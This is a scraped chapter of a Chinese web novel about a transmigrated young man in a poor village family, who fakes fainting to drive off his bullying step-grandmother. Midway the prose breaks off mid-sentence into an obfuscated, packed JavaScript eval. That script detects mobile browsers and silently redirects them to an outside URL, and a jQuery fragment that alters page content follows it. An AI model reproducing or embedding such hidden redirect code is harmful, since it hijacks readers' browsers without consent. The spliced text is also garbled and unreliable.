4. 首发第 4 章
作品:《夫郎我嚣张点怎么了?》 于庆隆不记得村子里有这样一人,猜测可能是外村路过的,便点点头:“方兄有礼。我姓于,来看看石头缝里有没有鱼。”
方戍笑容微收,隐隐觉得对方有一些无礼。他都自报名字了,对方却只说个姓。不过萍水相逢,或许人家并不打算深交。方戍想想,便说:“于兄请。”
于庆隆没再理这人。看对方彬彬有礼,他倒是有些想结交。可在这个时代,有些事他可以任性妄为,有些事却不行。
他凶悍一点,那些说闲话的也顶多说他不懂礼貌,泼辣蛮横。可他要是跟外男接触被人知道,那可就要让家里人都跟着遭到羞辱。再说万一他要跟原主再换回来,原主还得被他牵连,还是算了。
于庆隆决定再往上走一些,走到看不见方戍的地方,这才脱了鞋袜下水。
水很清,清可见底。他算是真切地感受到什么是“日光下澈,影布石上”了。
这水也很凉,冰得他脚趾不由自主地蜷缩起来,直想赶紧冲回岸上。然而下都下来了……
于庆隆小心走深一些,挽起袖子把手伸到大块石头缝里去慢慢摸索。他的手刚刚沾到石面,忽然下游处一声分外用力的:“哼嗯——!”
……捡石头用捡得跟便秘一样?!
于庆隆朝下游回头瞅瞅,接着往石缝里摸。他隐约感觉到有什么快速从他手边溜过去,接着扑通一声,分明就是有鱼!
那鱼看起来不很大,但也有他巴掌长。
于庆隆有些兴奋,赶紧换个石缝继续,看能不能当场弄回去几条。这时下游又是一声:“哼嗯——!!”
方戍相中一块大石头,跟之前在陆面上看的差不多。可这石头比那更厚实些,也更重。他使了吃奶的力气也不能动它分毫。想要放弃,又实在是不甘心。一思量,干脆往上游找上来:“于兄,可否劳你帮我个忙?”
于庆隆问:“搬石头?”
方戍说:“正是。我来此一趟不易,那石头又恰好是我所需要的,不知于兄能不能移步帮忙将它搬上车。”
“……你要搬几块?”
“就一块。余下的皆是小个头,我自己便可搬动。”
于庆隆四下看看,没什么人。一琢磨这鱼也是很难徒手抓,抓了他也没地儿放。而且就一块石头,也不麻烦,便说:“行,你稍等。”
说完他上岸,与方戍找到那块石头,两人合力将它抬上牛车。
方戍像得了什么宝贝似的,围着石头转好几圈,摸了十七八回,嘴里直叹:“妙啊,太妙了!”
于庆隆不理解,一块石头有什么那么好宝贝的?这河里还不到处都是?他把鞋袜穿好,提上盆:“方兄,若今后有人问起来,你别说在这里见过我。”
方戍微愣:“为何?”
于庆隆说:“不为何,你只当是还我帮你搬石头的人情。”
方戍痛快地说:“好,不需违背方某行事原则时,方某自当不会说。今日多谢于兄相助。”
于庆隆随便摆了摆手,沿着路往回走。这时方戍又叫他:“于兄!”
于庆隆转头,迎着阳光看向这人:“还有事?”
方戍微愣,莫名觉得这人一转头,那脸比他以往见过的任何人都要生动,特别是眼睛,乌沉却有力,像有什么故事。他恍惚了一瞬才说:“无事,我、我听你五脏庙里空得慌,这个请你吃。”
他拿出来一个饼子。不是寻常的烧饼,于庆隆一眼就看见那里头应该是加了糖,糖汁洇到了饼缘上。
糖在这个时候不是随随便便吃得起的东西。于庆隆犹豫了一下,还是接过来:“多谢方兄。”
他确实是饿了,饿得有些胃疼。他还有些迷茫。只要一想到以后也要这样,做什么事都得加倍小心,他就烦得慌。
嘴里化开的食物这时给了他一丝别样的安慰,是他到这里之后还没有品尝过的甜。可一想到这东西吃这一回,下次再吃就不知道是什么时候,饼子就便像卡在了嗓子里。
他把自己脑子里能用上的技能都搜刮一遍,也不知道干什么可以赚钱。或者说,即便是有一些想法,在这个时代也不是靠他一个人的能力可以随便实现的。
于庆隆自己都不知道怎么回的家,饼吃没了,脑子里是一堆乱七八糟的念头。他跟家里人简单打个招呼晾衣服,刚晾完,周月华便叫家里人吃饭。
于庆隆在现代有一米八的身高。在这边他估摸着也得有一米七五以上。这么大的个头,只吃一个糖饼肯定吃不饱,他便也在凳子上坐下来。
他坐下来才发现家里人神情不大对劲。
“阿爹,怎么了?”
“没事,吃饭。”于二哥说,“都看着我干什么?快吃啊。”
“是不是白家?”
于庆隆想起路上胡波跟他说的事。白家的小哥儿与他二哥定了亲。他以为胡波是故意刺激他,看来也许是真有其事,不然家里其他人不说话,偏于庆业截住他话头干嘛?
“白家来人说,等你定了亲再让秋哥儿嫁过来。”周月华说,“许是那王家回去之前找他们说了什么。”
“那秋哥儿怎么说?”
“没见着秋哥儿。他娘说秋哥儿全听家里的。”
周月华也不想说出来让小儿子再添一分烦愁,可这村子一共就这么大,总会知道。
于庆业道:“大不了这亲不结了,反正我不能让小弟随便嫁出去。王家退亲本是他们的错,凭什么把事都怪到我们头上?”
于庆家说:“我也觉得是这个理。白家这样做不是诚心为难咱们吗?”
于大有叹口气:“要我看也不全是庆隆的问题。白家要是真有心和咱们家结亲,就不会在意这些。许是还有什么旁的事。”
他这样一说,全家人沉默下来。
旁的事还能是什么事?无非就是家里太穷。当初分家的时候什么都没分出来,只分了属于他们的那份地。就连弄这土宅子还是借了些钱弄的,欠的钱尚未还清。
于庆隆想想也是一阵头疼。
嫁是肯定不能嫁的,再说也没人要他。虽然确实是影响了于二哥,但这也不是他存心的。他也没想过会穿来。
当然更不是原主的错。错的是王家,是这个不讲道理的破地方。
“二哥,你什么时候还去镇上?”
“明天就去,可是有想让二哥捎回来的东西?”
“不是,我是想跟你一起去看看。”
这村子里虽然也有大几十户人家,可说到底也没什么购买力。他要是真想赚钱,还是要去人更多的地方看看。
于二哥是个木匠学徒,跟着一位老师傅学手艺。他倒是不能学木工活,但他或许可以去镇上找找其他谋财的路子。
“可是路远,而且二哥要在那边住上几天才能回来。”于庆业道,“小弟你想去镇上看啥?”
“就,随便看看。不是当天回的话就下次吧。”
“过些天吧。阿爹去镇上送绣活,到时候你跟阿爹一起去。”
“好的阿爹。”
周月华笑笑,拿着碗起身。
他吃得很少,但是每次问都说吃多了消化不了。其实还是家里过得太紧巴了,他想多省一口。
两个孩子没成亲,又要来个小的,自己身体又不大好,换了别人也一样要犯愁。
于庆隆暗暗叹气,正有些烦燥,没想到外面忽然想起一声训斥:“周月华你怎么教孩子的啊?!你给我出来说清楚!”
这声,于庆隆一听就觉得浑身难受。原主的身体都对这声音有应激反应了。来的不是别人,正是继室奶奶于锅氏——郭红芬。
周月华再怎么不喜欢对方,也知道还有个孝道要讲,正要出去,却被于大有按住。
于大有出去问:“娘,您怎么来了?”
郭红芬说:“我怎么来了?你倒是好意思说!你们怎么教孩子的啊?那外面都已经传遍了,说庆隆目无尊长没大没小,还张口就提给自己退婚的事!懂不懂什么叫廉耻?自古都说父母之命,媒妁之言,哪有他一个哥儿说要给自己退婚的?他这作派,以后哪家还敢跟于家结亲?你们可别忘了于家可不是就你们家有没成亲的孩子!”
这继室到了于家又生了两个儿子一个女儿,两个儿子家里都有孩子没出门。她说的是他们。
于大有道:“那王家先来提退婚的事,我们为什么不能说?人家都欺负到头上了就忍着?那就能让别人乐意跟于家结亲了?”
原先在一家的时候于大有还算敬着郭红芬。可自从知道她对自家孩子明里疼,暗里苛待恐吓之后,他就再难对她有什么好脸色了。
都怪他粗心才害得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818041|175411||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家里人跟着受罪,想想都搓火得很。
郭红芬说:“好啊,你这分家了翅膀就硬了,都敢跟我顶嘴了。是不是周月华教你的?”
周月华也出来了,闻言是又气又无奈。他们也想孝顺,可这位继母着实是不讲理。
“婆婆,是王家老大先要悔婚在先,庆隆气不过才说上两句,并不是他们传得那样。”
“你还犟嘴!那么多人都说就是庆隆不懂事,还能有假?我是不管,今天你们得给我个说法。”
“什么说法?”
“庆隆目无尊长,寡廉鲜耻,怎么着不得罚他跪上半天让他长长记性?不然就这样让他闹下去,以后人家还都当咱们家的孩子没教养呢。”
“让我跪半天?!”于庆隆顿时炸毛,“凭什么让我跪半天!”
没让你这老太婆过来为以往的事道歉都是我仁慈了,还敢让我跪半天?!
郭红芬说:“怎么?跪不得?”
于庆隆说:“尊老后面还有爱幼呢,我好歹也是于家的孩子,您怎么能这么偏心?我……我……”
于庆隆说着说着突然两眼一翻,往后倒下去了。
郭红芬顿时瞪大眼:“哎这、这怎么回事!”
“庆隆!庆隆?!”“隆哥儿!小弟快醒醒!”
一家子顿时围成一圈,于庆隆这时偷偷捏了捏周月华跟于庆业的手。
这里就周月华的手最细。他嫂子的手当然也细但不可能来握他手所以肯定不是。而于二哥是因为常学做木工活,所以有两个地方有着大哥没有的茧子。他一碰到就猜得到。
周月华愣了下,顿时明白了。但他素来温和,不知道这时候要作戏,只知道难过。
于庆业就不一样了,嚎道:“小弟!小弟!你怎么回事你快醒醒!你是不是被奶奶吓得心病犯了?你以往总是被她打骂,二哥知道你心里有苦不敢说!小弟,你快醒醒啊!”
郭红芬是想着来出气的,因为确实有人找她阴阳怪气儿说她于家不会管教孩子。她有火不敢跟那人撒,就跑来这里了。谁想到于庆隆会晕过去?!
老太太顿时也有些慌,这万一真把人气个好歹可怎么办?!
目无尊长不好听,把孙子吓死了这更不好听啊!
她重重甩手帕给自己撞撞胆:“你们嚎什么!他年纪轻轻的怎么就晕了?肯定是有什么病!关我什么事!”
说完人就走了。
于庆隆闭着眼看不见。听着门声也不敢确定走的是不是郭红芬。这时于庆业放开他跑出去看了看,确定人不会再回来,跑过来笑道:“小弟快醒醒,她走了。”
于庆隆这才睁开眼来:“父亲,阿爹,没吓到你们吧?”
于大有愣了下:“你这臭小子,敢情是装的。”
周月华笑起来:“你要是不捏我一下,我倒是真要吓到了。你咋会想到要装晕?”
于庆隆道:“也不是突然想到的。是一听她骂我,我就真有些晕,后来一想索性就干脆装给她看好了,看她还能真把我逼死?”
像这种老无赖,那在法庭上也是有可能遇到的。
对付无赖,在法庭上得讲道理。在庭外,那就得比对方更无赖!
他说完忽然觉得哪里不太对劲:“大哥呢?”
怎么没看到于庆家?
周简儿道:“你大哥去找大夫去了。”
于庆隆一听,真要心梗了,蹦起来:“二哥你快!你快去把大哥找回来!”
天啊!请大夫可是要花钱的啊!
这要是装晕一次还得花出去几个子儿,他真要疯了!
于庆隆推着于庆业赶紧去找人。
于庆业连忙跑出去了。但还是晚了。
大哥大约是拿出了请稳婆的速度去的。于庆业跑了没到一半,就看到大哥扶着大夫过来了。主要也是这村子一共就这么大。
于庆业眼前一黑,心说这可怎么让人原样回去?
正在想主意,忽然听到身后重重的咳嗽声:“大、大夫……救命!”
于庆隆扶着门框,又装晕!
来都来了,怎么能白来?!既然短时间内想不到怎么赚钱,好歹想办法学着认认草药和学学字!
他去不了学堂,那这位老大夫有可能就是他最好的老师,他还不死死抓紧?!